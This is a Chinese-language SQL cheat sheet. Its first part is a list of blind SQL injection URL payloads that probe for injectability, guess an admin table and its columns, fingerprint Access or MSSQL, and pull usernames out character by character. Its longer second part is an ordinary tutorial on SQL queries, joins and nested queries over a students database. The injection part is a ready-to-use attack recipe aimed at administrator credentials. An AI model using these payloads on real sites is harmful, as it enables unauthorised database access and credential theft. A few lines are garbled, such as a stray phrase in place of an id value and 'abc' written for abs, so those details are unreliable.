檢測可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常頁面)
http://127.0.0.1/xx?id=11 and 1=2 (出錯頁面)
檢測表段的
http://127.0.0.1/xx?id=11 and exists (select * from admin)
檢測字段的
http://127.0.0.1/xx?id=11 and exists (select username from admin)
檢測ID
http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)
檢測長度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

檢測長度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)
檢測是否為MSSQL數據庫
http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)
檢測是否為英文
(ACCESS數據庫)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)
(MSSQL數據庫)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)
檢測英文的範圍
(ACCESS數據庫)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)
(MSSQL數據庫)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)
檢測那個字符
(ACCESS數據庫)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
(MSSQL數據庫)
http://127.0.0.1/xx?id=區區一條狗 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)
常用函數
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII碼
Access:chr(數字) SQLServer:nchar(數字)
作用:與asc相反,根據ASCII碼返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串從N個字符起長度為L的子字符串,即N到N+L之間的字符串
Access:abc(數字) SQLServer:abc (數字)
作用:返回數字的絕對值(在猜解漢字的時候會用到)
Access:A between B And C SQLServer:A between B And C
作用:判斷A是否界於B與C之間
and exists(Select top 1 * From 用戶 order by id)

1.在查詢結果中顯示列名:
a.用as關鍵字:select name as 』姓名』 from students order by age
b.直接表示:select name 』華夏黑客同盟』 from students order by age
2.精確查找:
a.用in限定範圍:select * from students where native in (』湖南』, 』四川』)
b.between...and:select * from students where age between 20 and 30
c.「=」:select * from students where name = 』李山』
d.like:select * from students where name like 』李%』 (注意查詢條件中有「%」,則說明是部分匹配,而且還有先後信息在裡面,即查找以「李」開頭的匹配項。所以若查詢有「李」的所有對象,應該命令:』%李%』;若是第二個字為李,則應為』_李%』或』_李』或』_李_』。)
e.[]匹配檢查符:select * from courses where cno like 』[AC]%』 (表示或的關係,與"in(...)"類似,而且"[]"可以表示範圍,如:select * from courses where cno like 』[A-C]%』)

3.對於時間類型變量的處理
a.smalldatetime:直接按照字符串處理的方式進行處理,例如:select * from students where birth 〉 = 』1980-1-1』 and birth 〈= 』1980-12-31』

4.集函數
a.count()求和,如:select count(*) from students (求學生總人數)
b.avg(列)求平均,如:select avg(mark) from grades where cno=』B2』
c.max(列)和min(列),求最大與最小
5.分組group
常用於統計時,如分組查總數:select gender,count(sno) from students group by gender(查看男女學生各有多少)
注意:從哪種角度分組就從哪列"group by"
對於多重分組,只需將分組規則羅列。比如查詢各屆各專業的男女同學人數 ,那麼分組規則有:屆別(grade)、專業(mno)和
性別(gender),所以有"group by grade, mno, gender"
select grade, mno, gender, count(*) from students group by grade, mno, gender
通常group還和having聯用,比如查詢1門課以上不及格的學生,則按學號(sno)分類有:
select sno,count(*) from grades where mark〈60 group by sno having count(*)〉1

6.UNION聯合
合併查詢結果,如:
SELECT * FROM students WHERE name like 『張%』UNION [ALL] SELECT * FROM students WHERE name like 『李%』

7.多表查詢
a.內連接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno
(注意可以引用別名)
b.外連接
b1.左連接
select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno
左連接特點:顯示全部左邊表中的所有項目,即使其中有些項中的數據未填寫完全。
左外連接返回那些存在於左表而右表中卻沒有的行,再加上內連接的行。
b2.右連接
與左連接類似
b3.全連接
select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno
兩邊表中的內容全部顯示
c.自身連接
select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno
採用別名解決問題。
d.交*連接
select lastname+firstname from lastname CROSS JOIN firstanme
相當於做笛卡兒積

8.嵌套查詢
a.用關鍵字IN,如查詢豬豬山的同鄉:
select * from students where native in (select native from students where name=』豬豬』)
b.使用關鍵字EXIST,比如,下面兩句是等價的:
select * from students where sno in (select sno from grades where cno=』B2』)
select * from students where exists (select * from grades where grades.sno=students.sno AND cno=』B2』)

9.關於排序order
a.對於排序order,有兩種方法:asc升序和desc降序
b.對於排序order,可以按照查詢條件中的某項排列,而且這項可用數字表示,如:
select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)〉85 order by 3
10.其他
a.對於有空格的識別名稱,應該用"[]"括住。
b.對於某列中沒有數據的特定查詢可以用null判斷,如select sno,courseno from grades where mark IS NULL
c.注意區分在嵌套查詢中使用的any與all的區別,any相當於邏輯運算「||」而all則相當於邏輯運算「&&」
d.注意在做否定意義的查詢是小心進入陷阱:
如,沒有選修『B2』課程的學生 :
select students.* from students, grades where students.sno=grades.sno AND grades.cno 〈〉 』B2』
上面的查詢方式是錯誤的,正確方式見下方:
select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=』B2』)
11.關於有難度多重嵌套查詢的解決思想:如,選修了全部課程的學生:
select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))
最外一重:從學生表中選,排除那些有課沒選的。用not exist。由於討論對象是課程,所以第二重查詢從course表中找,排除那些選了課的即可。


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